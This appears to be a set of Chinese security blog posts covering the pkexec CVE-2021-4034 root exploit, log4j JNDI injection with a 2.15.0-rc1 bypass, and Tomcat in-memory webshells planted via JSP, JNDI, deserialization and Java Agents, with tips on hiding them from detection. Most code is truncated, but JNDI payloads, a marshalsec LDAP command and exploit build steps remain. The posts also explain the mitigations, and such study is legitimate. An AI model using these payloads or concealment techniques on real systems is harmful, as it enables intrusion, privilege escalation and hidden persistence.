考试由三个独立的Assignment(任务)组成,分数分别为40分、30分、30分,通过考试的分数为60分,因此完成其中的2个任务即可通过考试
考试的3个任务会考察到大纲中的所有话题,包含了逆向工程、开发exploit绕过mitigation(也就是DEP和ASLR)以及开发自制的shellcode(使用汇编语言开发)
考试的思维难度不大,但是我认为如果对汇编语言不熟悉的同学,做起来会很吃力,因为需要阅读的代码量还是不小的,大部分题目都比较直接,比较需要创造力的部分我认为就是构建ROP链以及利用逆向工程找到可以利用的漏洞这两部分。
我个人感觉每个任务基本上没有部分得分这样的选项,完全完成任务就得到这个任务的所有分数,否则就一分都没有
有些题目会提供一个模板Exp,需要进一步去完善,有些题目则没有Exp,需要通过逆向工程来寻找漏洞
有几个坑点一定要注意
如果你想要了解的信息文章中没有提到,欢迎发邮件给我一起交流,也欢迎加个好友,通过邮件发送联系方式给我即可
]]>IDEA使用Web Profile配置创建Java EE项目,使用Tomcat 9.0.58进行学习,不同版本的Tomcat的内部不同,本文统一使用Tomcat 9,Java版本使用Java 8u292,在pom.xml
中引入log4j-core 2.14.1的依赖
在自动创建的HelloServlet
类中的doGet
写入触发log4j漏洞的代码
1 | package com.example.Tomcat9Web; |
参考:如何绕过高版本JDK限制进行JNDI注入利用 (qq.com)
原理部分可以阅读参考的KINGX师傅的文章
将Tomcat的lib
文件夹和bin/tomcat-juli.jar
引入项目的libraries来消除依赖问题
代码如下
1 | import com.sun.jndi.rmi.registry.ReferenceWrapper; |
运行Exploit和Tomcat项目并访问doGet
方法触发log4j漏洞,就能成功执行命令
2022-01-25,CVE-2021-4034 Exploit 详情发布,此漏洞是由Qualys研究团队在polkit的pkexec中发现的一个内存损坏漏洞
pkexec 应用程序是一个 setuid 工具,允许非特权用户根据预定义的策略以特权用户身份运行命令,基本上所有的主流Linux系统都安装了此工具,其自身也被设置了SUID权限位以正常运转
影响了自2009年5月第一个版本以来的所有pkexec版本,Commit 地址:Add a pkexec(1) command (c8c3d835) · Commits · polkit / polkit · GitLab
由于pkexec的广泛应用,此漏洞基本通杀目前所有Linux发行版,有效范围很大
选择一个修复前的版本进行分析,src/programs/pkexec.c · 0.120 · polkit / polkit · GitLab
根据披露,漏洞存在于pkexec的主函数,相对路径为/src/programs/pkexec.c
在534-568行,处理命令行参数
1 | for (n = 1; n < (guint) argc; n++) // 注意这一句,如果我们传递了参数后,n应该在结束循环时与argc相等,如果没有参数,argc就为0,但是由于此处n的初始值为1,因此如果没有参数被传递,1就变成了argc(0)+1,如果后续继续使用n的话,就有可能出现问题 |
然后在610行,获取PROGRAM参数名称,也就是需要执行的程序
1 | path = g_strdup (argv[n]); // 分析代码,我们可以发现n在此时被使用,g_strdup复制目标字符串,但是如果我们不传递任何参数,g_strdup用于拷贝字符串,如果没有参数传递,这里就产生内存越界读取了 |
整理一下,得出,在不传递任何参数时,情况如下
现在很重要的一点就是,我们想要知道,当越界的argv[1]
包含了什么内容
当我们使用execve()
执行一个程序时,内核会将我们的参数、环境字符串以及指针(argv 和 envp)复制到新程序栈的末尾;如下所示:
1 | |---------+---------+-----+------------|---------+---------+-----+------------| |
也就是说,被越界访问的实际上是envp[0]
,其指向第一个环境变量的值,再次总结,我们得到如下
envp[0]
给出path
的值被传递给g_find_program_in_path()
g_find_program_in_path()
在PATH环境变量中搜索程序pkexec
的main()
函数argv[1]
也就是envp[0]
,这样就覆盖了我们的第一个环境变量更准确地来说的话
PATH=name
,如果目录name
存在(如当前的工作目录)并且可执行文件被命名为value
,那么name/value
字符串的指针就会被越界写入到envp[0]
PATH=name=.
,并且如果PATH=name=.
存在且包含名为value
的可执行文件,那么name=./value
字符串的指针就会被越界写入到envp[0]
中由于字符串name=./value
是我们最后会执行的命令,如果执行了name=./value
,这个越界写入允许我们重新引入一个不安全的环境变量,这些被传递到SUID文件的不安全环境变量通常会在main()
函数运行之前被删除(由ld.so
完成)。接下来我们将基于这一点来进行exploit
要注意:polkit还支持非Linux系统如Solaris 和 BSD, 目前还没有深入分析过,但是OpenBSD是不可利用的,因为它的内核在argc为0时拒绝通过
execve
执行程序
我们的问题是如何通过重新引入不安全的环境变量来利用这个漏洞,在702行,pkexec完全清除了环境变量,因此可以利用的选项比较少
1 | if (clearenv () != 0) |
可以发现代码中多处调用了GLib的函数g_printerr()
,如位于代码126行和408-409行的validate_environment_variable()
函数log_message()
调用了g_printerr()
g_printerr()
通常打印UTF-8错误消息,但如果环境变量CHARSET
被设置后,其也可以使用其它字符集打印消息。为了将消息从CTF-8转换为其它字符集,g_printerr()
调用了iconv_open()
为了进行字符集转换,iconv_open()
执行一个共享库。通常来说来源字符集、目标字符集和共享库都通过默认配置文件/usr/lib/gconv/gconv-modules
指定。但是环境变量GCONV_PATH
可以强制iconv_open()
使用另外一个配置文件,通常来说GCONV_PATH
是一个不安全变量,会被移除,但是由于前面的漏洞,我们可以将其重新引入
要注意:这个利用技术会在日志中留下痕迹,如SHELL变量在
/etc/shells
中不存在,或者环境变量中存在可疑数据。然而,请注意,这个漏洞也可以以不留下痕迹的方式利用
目前的主流Linux系统都受到此漏洞的影响,安装一个Ubuntu 20.04,运行pkexec --version
可以发现版本是0.105
首先生成一个恶意的so文件,用来获取提权后的shell
1 |
|
1 | gcc -shared -fPIC payload.c -o payload.so |
构造exploit
LC_MESSAGES
用来指定要转换的字符集XAUTHORITY
设置为非法值以跳过pkexec的正常执行,我们只需要触发日志函数来实现提权1 |
|
1 | gcc exploit.c -o exp.out |
然后运行./exp.out
直接成为root用户
参见:pkexec: local privilege escalation (CVE-2021-4034) (a2bf5c9c) · Commits · polkit / polkit · GitLab
argc小于1直接退出程序
]]>首先我们整理一下几种植入内存马的方式
由于我们使用的是Tomcat,可以通过动态增加Servlet、Filter、Listener来植入内存马,如果技术栈还存在Spring和Shiro等,还可以使用增加Controller等方法
参考:MemoryShellLearn/jsp注入内存马 at main · bitterzzZZ/MemoryShellLearn (github.com)
IDEA使用Web Profile配置创建Java EE项目,使用Tomcat 9.0.58进行学习,不同版本的Tomcat的内部不同,本文统一使用Tomcat 9
为了在JSP中开发内存马,我们需要使用Tomcat的API,虽然在放在Tomcat中就可以直接使用Tomcat的API,但是IDEA无法进行代码提示,因此我们要在项目设置中把Apache Tomcat中的lib文件夹加入项目的Libraries中去,除此之外还要引入tomcat的/bin/tomcat-juli.jar
完成Libraries的配置后我们的代码就不会因为缺少依赖而出现报错了
Servlet我们都知道,是Tomcat的最基本的服务程序,我们可以直接在内存中增加Servlet来实现无文件的内存马
增加Servlet的方式分为3个步骤
ApplicationContextFacade
获取到StandardContext
Servlet
程序封装到Wrapper
Wrapper
增加到StandardContext
中并添加地址映射代码如下
1 | <%@ page contentType="text/html;charset=UTF-8"%> |
触发方法:将JSP放入webapp
文件夹中,我们首先访问路径/addServlet.jsp
写入内存马,然后再访问/hello?admin=<指令>
就可以执行命令了
由于Filter在Servlet之前运行,因此可以不受URL的限制,甚至可以伪装成在对一个正常的Servlet进行访问
增加Filter的方式分为4个步骤
ApplicationContextFacade
中获取到当前的StandardContext
,从StandardContext
获取到filterConfigs
Filter
为FilterDef
,并添加到StandContext
中ApplicationFilterConfig
并添加到filterConfigs
中FilterMap
并加入StandardContext
中,为Filter
确定适用的URL1 | <%@ page contentType="text/html;charset=UTF-8"%> |
触发方法:将JSP放入webapp
文件夹中,我们首先访问路径/addFilter.jsp
写入内存马,然后在访问任意路径时,带上GET参数admin
就可以执行命令了
Tomcat的Listener可以用于在某个事件发生时执行操作,我们选择实现ServletRequestListener
来监听每一个HTTP请求
增加Listener的方式分为2个步骤
ApplicationContextFacade
获取到StandardContext
Listener
添加到StandardContext
中1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> |
触发方法:将JSP放入webapp
文件夹中,我们首先访问路径/addListener.jsp
写入内存马,然后在访问任意路径时,带上GET参数admin
就可以执行命令了
介绍完Tomcat JSP内存马,接下来我们进入真正无文件落地的基于JNDI和反序列化植入内存马
关于CVE-2021-44228的分析,可以参见我之前的讲解文章,由于我使用remote codebase方法,本节只能使用jdk 8u181及以下的版本
首先在Tomcat项目的pom.xml
中加入log4j-core 2.14.1的依赖,然后我们再写一个触发log4j漏洞的Servlet
直接在自动创建的HelloServlet上修改即可
1 | package com.example.JavaWebDemo; |
我们只尝试增加Filter,增加Servlet和Listener的方法也比较相似,不重复讨论
接下来按照我之前的CVE-2021-44228分析中的方法触发JNDI漏洞,我们将反弹Shell的代码进行修改
这时候遇到一个难点,之前我们使用JSP获取内存马,可以发现,往Tomcat中注入内存马的核心是需要获取到StandardContext实例,之前JSP会自动放进去一个request对象,可以用于获取StandardContext,但是此时没有这个便捷的方式,所以我们要另寻出入了
参考这篇文章:Java内存马:一种Tomcat全版本获取StandardContext的新方法 - 先知社区 (aliyun.com)
由于我们使用Tomcat9,此处我们使用”从ContextClassLoader获取”的方式为例来获取StandardContext
,代码如下
1 | WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); |
整合Exploit,代码如下
1 | import org.apache.catalina.Context; |
首先触发log4j漏洞,利用JNDI执行我们的Exploit植入内存马,随后访问任意URL时带上admin参数即可执行命令
可以发现,在这种情况下,我们实现了真正的无文件落地,但是JNDI+LDAP的攻击方式在jdk 8u191及之后就无法利用了,下一节我们讨论基于反序列化的植入方法
由于CommonsCollections2使用了TemplatesImpl,所以我们才能用这个方法进行内存马注入,像CommonsCollections1没有利用TemplatesImpl,所以就不行了
我们写一个进行反序列化的接口,放在doPost()
里面,核心代码只需一句
1 | (new ObjectInputStream((request.getInputStream()))).readObject(); |
我们使用CommonsCollections2作为例子,通过Maven引入commons-collections4:4.0
测试一下环境是否正常
会报错,但是我们可以发现是TemplatesImpl
抛出的,并且检查命令执行效果可以发现命令执行成功了,接下来开始改造Payload
首先是用IDEA导入ysoserial项目,项目的Jdk版本设置为1.8。
由于打包起来太麻烦,我们将ysoserial.GeneratePayload
作为主类运行,直接生成Payload
由于我们要输出到文件中,修改GeneraterPayload.java
的第35行PrintStream out = System.out;
改为PrintStream out = new PrintStream("./output.serial");
首先在ysoserial.payloads.util.Gadgets.java
中调整createTemplateImpl
函数
由于原版的createTemplateImpl
根据要执行的指令来生成TemplateImpl
我们将其重载并稍微修改一下
我们复制createTemplateImpl
并改为如下
1 | public static Object createTemplatesImpl ( final Class _class ) throws Exception { |
对于第一处重载,只是把command
改为了_class
并删除了无用的参数,第二处重载则从通过Javaassist技术制作类并获取字节码变为直接获取字节码,因为我们直接编写了类文件
然后将payloads/CommonsCollections2
复制出一个新版本,命名为CommonsCollections2ForClassInjection
将command
参数重构为payloadName
,变为注入的类名来使用,之后可以方便调整为使用ServletInjection
等其它内存马
把这一句进行修改
1 | final Object templates = Gadgets.createTemplatesImpl(command); |
换为如下,直接通过类名获取字节码
1 | final Object templates = Gadgets.createTemplatesImpl(Class.forName("ysoserial.shells."+payloadName)); |
启动参数配置如下
将生成的output.serial
文件打到服务器上,然后在访问任意路径时,带上GET参数admin
就可以执行命令了
可以发现我给自己起的Payload名字是TomcatFilterInjection
,把它放在如图的位置
Payload代码如下,大家也可以自己制作ServletInjection
或者ListenerInjection
作为Payload
1 | package ysoserial.shells; |
还是以Tomcat为例,我们知道JavaAgent技术可以动态修改字节码,我们熟知的Burp Suite的破解技术就是基于premain
方法实现的,通过agentmain
,我们可以直接修改关键类即可
由于Java Agent内存马需要有Jar文件落地,并不是比JSP更好的方法,只能说在JSP无法解析的时候适用性会更好一些
比较知名的冰蝎就提供了Java Agent内存马,我们也实现一个比较基础的
调用端(Attacher)的核心代码其实就3句话
1 | VirtualMachine virtualMachine = VirtualMachine.attach(id); |
我们可以使用前面研究过的JNDI注入方法进行注入,也可以利用反序列化,只要能够执行Java代码即可,甚至拿到系统Shell后直接用命令执行loadAgent
的另一个java程序也可以,只是要上传更多的文件,风险更大
这里方便起见,直接继续使用前面研究的反序列化注入方法进行攻击,我们在shells
中增加一个新的Payload,代码如下
1 | package ysoserial.shells; |
在src/main/resources/
目录下创建META-INF/MANIFEST.MF
,内容如下
1 | Manifest-Version: 1.0 |
打包成.jar
,发送序列化数据,结果遇到异常
可以发现依赖于tools.jar
,这个包对于Tomcat来说并不会自动加载,为了让攻击奏效,我们可以通过JAVA_HOME
路径手动加载类型,通过反射执行相关函数
修改后的Payload代码如下
1 | package ysoserial.shells; |
完成反序列化注入Payload后,在访问任意路径时,带上GET参数admin
就可以执行命令了
参考:
对于注入后的内存马,可以分为两个类型
检测方面的研究主要有c0ny1师傅的文章
可以发现c0ny1师傅给出的方法就是通过加载Java Agent实时获取所有Filter,并且对于可疑的类进行检查
根据4ra1n师傅的方法,我们可以主要通过如下手段来隐藏我们的内存马
BackdoorFilter
这样显眼的名字,并引入一定的随机化web.xml
的内容进行隐藏除此之外,由于可以检查Filter对应的classpath是否存在来检查,我们可以把class文件写入到硬盘上,但是这样就有被HIDS扫描到的风险,应视情况采用
目前为止,如果防御方不把class文件dump出来进行反编译对源码进行分析,应该是很难识别了,如果被dump了的话,只能进一步进采用源码免杀技巧
由于c0ny1师傅的《查杀Java web Agent型内存马》尚未发布,先留个坑在这里
]]>Apache Log4j2是一个基于Java的日志记录工具。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
漏洞适用版本为2.0 <= Apache log4j2 <= 2.14.1,只需检测Java应用是否引入log4j-core这个jar。若存在应用使用,极大可能会受到影响。
采用Maven构建Trigger项目
引入org.apache.logging.log4j
版本2.14.1
包
触发代码,只要logger使用了可记录等级进行记录,就会触发漏洞
1 | import org.apache.logging.log4j.LogManager; |
1 | import java.io.BufferedReader; |
编译这段代码以便后续的JNDI调用使用,触发构造方法执行命令
典型的使用JNDI进行触发
首先在class文件处开启HTTP服务
然后利用marshalsec开启LDAP服务
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/#Exploit |
运行main函数,成功触发
由于我们知道是JNDI注入,因此在javax.naming.InitialContext
的构造方法处下断点
文件位于rt.jar/javax/naming/InitialContext.java
成功抓到断点
调用栈信息如下
我们知道要触发JNDI漏洞必须要通过lookup函数,从JndiLookup.lookup
函数向上回溯
我们往Payload加入一些杂物,看看什么时候聚焦到payload ${jndi:ldap://127.0.0.1:1389/#Exploit}
可以发现substitute
会将payload AAAAA${jndi:ldap://127.0.0.1:1389/#Exploit}BBBBB
解引用变成JNDI URIldap://127.0.0.1:1389/#Exploit
除此之外,我们可以发现resolveVariable
用于处理使用${}
包裹的变量
再继续往上回溯,可以发现如下一段代码
可以发现只要遇到${
则开始调用StrSubstuitutor的replace方法进行解析
log4j2的三大组件
继续分析前面得到的调用栈,可以发现
在log4j2中通过LoggerConfig.processLogEvent()
处理日志事件,主要部分在调用callAppenders()
即调用Appender
Appender功能主要是负责将日志事件传递到其目标,常用的Appender有ConsoleAppender(输出到控制台)、FileAppender(输出到本地文件)等,通过AppenderControl获取具体的Appender,本次调试的是ConsoleAppender。
Appender调用Layout获取日志格式,通过Layout.encode()
进行日志的格式化
Layout会获取formatters来完成具体的格式化
处理传入的message通过MessagePatternConverter.format()
,也是本次漏洞的关键之处。当config存在并且noLookups为false,匹配到${'
则调用workingBuilder.append()
获取StrSubstitutor内容来替换原来的信息。
可以发现此处有个noLookups,是一个配置值,默认为false,之后我们研究下如何利用它进行防御
再往前看,然后是StrSubstitutor.resolveVariable()
进行解析,可以发现支持这些协议
其中就包含了JNDI
noLookups通过交叉引用可以找到
这里先一种最简单的——直接代码增加配置
1 | import org.apache.logging.log4j.LogManager; |
再次运行,可以发现不会对${jndi:ldap://127.0.0.1:1389/#Exploit}
进行解析
除此之外,也可以通过properties文件或命令行进行配置
我认为这是除了升级外最好的方法
除了XML还支持其它格式,以XML为例,在resource中创建log4j2.xml
,一个能禁止LookUp的最小可用配置如下
1 |
|
在Log4j – Configuring Log4j 2 - Apache Log4j 2找到Property Substitution(属性替换)功能,以通过本地之外的来源获取属性,使日志信息更加丰富
由于开发者没有考虑到JNDI的潜在危害,因此没有将其默认配置值设置为不加载也没有对JNDI来源地址进行限制
许多测试者通过DNS信息来判断是否发生了解析,以此来确定漏洞是否触发,这是不严谨的,许多公共服务都可能对这个地址进行DNS查询,用于垃圾拦截等功能,这不能代表其成功触发了漏洞
比较好的方式是在子域名中添加一个内嵌查询,如${sys:java.version}
formatMsgNoLookups
为true,禁止LookUp在2.15.0已默认禁用Message里的Lookups,并且默认限制了JNDI以及LDAP可以获取的类
除此之外,在2.16.0,默认禁用JNDI,需要使用log4j.enableJndi
来启用
彻底移除在Message中的LookUps支持
Google了解到2.15.0-RC1这个候选发行版仍然存在可以被Bypass的可能性
由于RC版本现在在Maven仓库已经没有了,所有只能去GitHub手动获取源代码进行编译
下载源代码后,根据README,先配置toolschains,调整jdk位置,由于只需要jdk1.8的包,只使用1.8的toolchain,其它注释掉
由于不需要编译所有包,在pom.xml
中找到modules
将不需要的包注释,仅保留log4j-core
和log4j-api
1 | <modules> |
使用如下mvn指令编译
-t toolchains-sample-mac.xml
指定toolchains文件
-Dmaven.test.skip=true
跳过测试
-Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=1099
使用代理加速
1 | # JAVA_HOME设置为jdk1.8 |
编译完成后生成的artifact(jar包)在各个module的target文件夹中
在pom.xml修改log4j-core版本为2.15.0,然后将编译出来的jar包全部替换进去
由于2.15.0版本中默认禁用了LookUp,我们首先需要通过配置将其打开
修改log4j2.xml
配置
1 |
|
此时,Payload如下可以被解析
1 | ${sys:java.version} |
但是JNDI Payload不会被解析
1 | ${jndi:ldap://ip:1389/#Exploit} |
由于我们知道现在${}
还是会解析,但是jndi受限制,所以根据之前的分析,我们前往StrSubstitutor.resolveVariable()
看看变量解析的工作流程
进入lookup()
我们可以发现JNDI其实还是可以解析的,再进入一层lookup
,观察JNDI内部受到了什么限制
继续进入jndiManager的lookup
可以发现,首先使用了一些协议和来源地址的限制
来源地址可以发现是本机的一些IP,此时假设来源地址的限制也不影响我们,我们也是在本地做测试,并且ldap也在允许的协议中
可以发现此处禁止了引用对象的使用,检查方法是attributeMap.get(OBJECT_FACTORY)!=null
除此之外,还限制了JNDI的另一种利用方式——反序列化,其通过allowedClasses
将可以反序列化的类型限制在了Java的几个基本类型
虽然局部看起来很完美,但是代码的异常捕捉逻辑有问题,可以看到如下
如果出现URI语法错误,就可以直接触发异常处理并进入lookup,那要如何让URI出错又能正常lookup呢?
只需往URI中加一个无URL编码的空格即可,lookup的时候会忽略这个空格,我们把payload改为
1 | ${jndi:ldap://127.0.0.1:1389/# Exploit} |
可以发现成功触发命令执行
此处绕过的条件较为苛刻,必须满足如下两个条件
通过这个工具,可以同时使用pwntools和IDA在docker中调试程序
安全 快速 强大(IDA)
1 | git clone https://github.com/4xpl0r3r/DIPD.git |
debug/
目录并改名为todebug
docker-compose up
命令完成上述步骤后,通过如下命令访问程序的标准输入输出
1 | nc docker.ip 23458 |
IDA Pro调试器参数 (版本7.6)
注意
启动DIPD
1 | docker-compose up |
运行并连接到你所调试程序的STDIO
1 | nc docker.ip 23458 |
现在,你的二进制文件应该已经在运行了
接下来打开IDA并启动IDA调试器
输入信息并点击OK
现在你可以看到你的docker中的进程,选择./todebug
调试并点击”OK”
现在你应该已经进入调试视图,没有任何错误和异常
你可以在这里选择你想要的基本映像,这里有一些常用的选项
1 | i386/ubuntu:16.04 |
你必须在64位架构中运行的Docker以同时支持32位(i386)和64位(amd64)架构程序的调试,否则只能调试32位(i386)程序
查看相关注释即可
debs
socat的apt包,用于快速安装和离线支持
linux_server[64]
IDA Debug Server v7.6
如果不想使用 IDA v7.6 版本,可以进行替换
init.sh
此脚本文件用于初始化调试环境,你可以对其修改以进行任何调整
]]>